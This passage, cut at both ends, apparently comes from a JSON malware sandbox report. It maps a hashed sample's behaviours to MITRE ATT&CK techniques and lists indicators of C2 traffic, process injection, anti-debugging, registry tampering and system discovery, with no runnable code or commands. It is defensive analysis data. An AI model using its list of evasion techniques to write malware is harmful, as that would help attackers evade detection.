version"}],"sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"informative","value":"Sends GET/POST requests (HTTPS)"},{"type":"informative","value":"GETs files from a webserver (HTTPS)"}],"sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Impact","technique":"Data Manipulation","attack_id":"T1565","attack_id_wiki":"https://attack.mitre.org/techniques/T1565","identifiers":[{"type":"informative","value":"Contains ability to modify data representation (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to shutdown system"}],"sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"CreateThread failed\" (Indicator: \"CreateThread\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"CreateThread failed\" (Indicator: \"CreateThread\"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp\")\n Found reference to API \"VirtualAlloc\" (Indicator: \"VirtualAlloc\"; Source: \"00000000-00005736.00000000.81734.6E4B1000.00000020.mdmp\")\n Found reference to API \"VirtualFree\" (Indicator: \"VirtualFree\"; Source: \"00000000-00005736.00000000.81734.6E4B1000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to find a resource in a module","description":"\"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe\" called \"FindResourceW\" with parameter \"101\" - (UID: 00000000-00005736)\n \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe\" called \"FindResourceW\" with parameter \"4209172\" - (UID: 00000000-00005736)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to load a resource in memory","description":"$27","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"$28","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to impersonate access tokens (API string)","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-306","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"$29","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify registry key/value (API string)","description":"Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp, 00000000-00005736.00000000.81734.6E4B1000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-304","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to pass information to a window procedure (API string)","description":"Found reference to API \"CallWindowProcW\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00005736.00000000.81734.6E4B1000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-320","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to set file time (API string)","description":"Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-409","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"$2a","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"$2b","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"$2c","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Tries to map intranet network resources to internet zone","description":"\"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"UNCASINTRANET\"; Value: \"0000000000\")\n \"WScript.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"UNCASINTRANET\"; Value: \"0000000000\")","origin":"Registry Access","mitre_attack_id":"T1562.001","relevance":1,"id":"registry-179","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"IsDebuggerPresent\" (Indicator: \"IsDebuggerPresent\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-183","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"SetUnhandledExceptionFilter@KERNEL32.dll at 2753-1084-0041F9D5","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1622","relevance":1,"id":"stream-4","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to access crypto-related API (String)","description":"$2d","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-920","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to decrypt/decode data","description":"file/memory contains long string with (Indicator: \"CreateDecryptor\"; File: \"WzVKQIZW.log\")\n file/memory contains long string with (Indicator: \"CreateDecryptor\"; File: \"wXSnOmjT.log\")\n Found reference to API \"CreateDecryptor\" (Indicator: \"CreateDecryptor\"; Source: \"00000000-00006020.00000001.82692.00452000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-356","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains XOR operation loops [Stream disassembly]","description":"$2e","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1027.005","id":"stream-139","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to decode base64 data","description":"file/memory contains long string with (Indicator: \"FromBase64String\"; File: \"WzVKQIZW.log\")\n file/memory contains long string with (Indicator: \"FromBase64String\"; File: \"wXSnOmjT.log\")\n Found reference to API \"FromBase64String\" (Indicator: \"FromBase64String\"; Source: \"00000000-00006020.00000001.82692.00452000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-106","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform AES/RC4 encryption (API string)","description":"Found reference to API \"CryptProtectMemory\" (Indicator: \"CryptProtectMemory\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"CryptUnprotectMemory\" (Indicator: \"CryptUnprotectMemory\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"CryptProtectMemory failed\" (Indicator: \"CryptProtectMemory\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"CryptUnprotectMemory failed\" (Indicator: \"CryptUnprotectMemory\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-438","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform decryption (API string)","description":"Found reference to API \"CryptUnprotectMemory\" (Indicator: \"CryptUnprotectMemory\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"CryptUnprotectMemory failed\" (Indicator: \"CryptUnprotectMemory\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"CryptUnprotectMemory failed\" (Indicator: \"CryptUnprotectMemory\"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp\")\n Found reference to API \"CryptUnprotectMemory\" (Indicator: \"CryptUnprotectMemory\"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-212","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption (API string)","description":"Found reference to API \"CryptProtectMemory\" (Indicator: \"CryptProtectMemory\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"CryptProtectMemory failed\" (Indicator: \"CryptProtectMemory\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"CryptProtectMemory failed\" (Indicator: \"CryptProtectMemory\"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp\")\n Found reference to API \"CryptProtectMemory\" (Indicator: \"CryptProtectMemory\"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-108","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains key cryptographic functions (API string)","description":"Found reference to API \"CryptProtectMemory\" (Indicator: \"CryptProtectMemory\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"CryptUnprotectMemory\" (Indicator: \"CryptUnprotectMemory\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"CryptProtectMemory failed\" (Indicator: \"CryptProtectMemory\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"CryptUnprotectMemory failed\" (Indicator: \"CryptUnprotectMemory\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-195","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to crypto DLLs","description":"Found string \":\\Windows\\system32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00005736.00000000.81734.005A0000.00000004.mdmp, 00000000-00005736.00000001.81803.005A0000.00000004.mdmp\")\n Found string \":\\Windows\\system32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00006020.00000000.82307.001F0000.00000004.mdmp, 00000000-00006020.00000001.82692.001F0000.00000004.mdmp\")\n Found string \"C:\\Windows\\system32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00006020.00000000.82307.01DD0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-493","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"Cryptographic Related","name":"Sample file has high entropy (likely encrypted/compressed content)","description":"Sample file \"sample.bin\" has high entropy 7.95801","origin":"Binary File","mitre_attack_id":"T1027","relevance":1,"id":"binary-71","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains ability to decode base64 data\n Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: YARA signature match - AES encryption","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"$2f","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Cryptographic Related","name":"XOR operations in executable file detected","description":"$30","origin":"Binary File","mitre_attack_id":"T1027.005","id":"binary-92","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate system processes using native API","description":"Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00006020-00000C2C-297101731\")\n Found reference to API \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00006020-00000C2C-301820621\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-907","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"Environment Awareness","name":"Able to gather system information (.NET)","description":"file/memory contains long string(File: \"WzVKQIZW.log\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-937","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00006020-00000C2C-297101731\")\n Found string \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00006020-00000C2C-301820621\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp\")\n Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"Environment Awareness","name":"Able to list processes on remote desktop session host","description":"Found reference to API \"ProcessIdToSessionId\" (Indicator: \"ProcessIdToSessionId\"; Source: \"00000000-00005676-00000C2C-289592364\")\n Found reference to API \"ProcessIdToSessionId\" (Indicator: \"ProcessIdToSessionId\"; Source: \"00000000-00005736.00000000.81734.6E4B1000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-906","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"Environment Awareness","name":"Able to perform scheduled transfer (API string)","description":"Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp\")\n Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp\")\n Found reference to API \"RtlFreeSid\" (Indicator: \"FreeSid\"; Source: \"00000000-00005736.00000000.81734.6E4B1000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query system locale information (API string)","description":"Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve date formats supported by the local system (API string)","description":"Found reference to API \"GetDateFormatW\" (Indicator: \"GetDateFormat\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"GetTimeFormatW\" (Indicator: \"GetTimeFormat\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"GetTimeFormatW\" (Indicator: \"GetTimeFormat\"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp\")\n Found reference to API \"GetDateFormatW\" (Indicator: \"GetDateFormat\"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-901","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"$31","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve machine time (API string)","description":"Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; File: \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199\")\n Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp\")\n Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; Source: \"00000000-00005736.00000000.81734.00403000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve system language (API string)","description":"Found reference to API \"GetKeyboardLayout\" (Indicator: \"GetKeyboardLayout\"; Source: \"00000000-00005736.00000000.81734.6E4B1000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"$32","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"serverDriver.exe\" called \"GetWriteWatch\" with parameters (UID: 00000000-00006020)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe\" called \"QueryPerformanceCounter\" (UID: 00000000-00005736)\n \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00005736)\n \"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe\" called \"GlobalMemoryStatusEx\" with parameters (UID: 00000000-00005736)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00005736)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API possibly used to retrieve a handle to the foreground window","description":"\"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe\" called \"GetForegroundWindow\" (UID: 00000000-00005736)\n \"WScript.exe\" called \"GetForegroundWindow\" (UID: 00000000-00005676)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-142","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe\" called \"IsWow64Process\" with parameter \"5736\" - (UID: 00000000-00005736)\n \"WScript.exe\" called \"IsWow64Process\" with parameter \"5676\" - (UID: 00000000-00005676)\n \"cmd.exe\" called \"IsWow64Process\" with parameter \"5724\" - (UID: 00000000-00005724)\n \"serverDriver.exe\" called \"IsWow64Process\" with parameter \"6020\" - (UID: 00000000-00006020)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get active windows title","description":"\"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe\" called \"GetWindowTextW\" with parameter \"C:/msComwin/\" - (UID: 00000000-00005736)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-151","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get handle of currently active window","description":"\"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe\" called \"GetActiveWindow\" (UID: 00000000-00005736)","origin":"API Call","mitre_attack_id":"T1010","relevance":5,"id":"api-150","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199.exe\" called 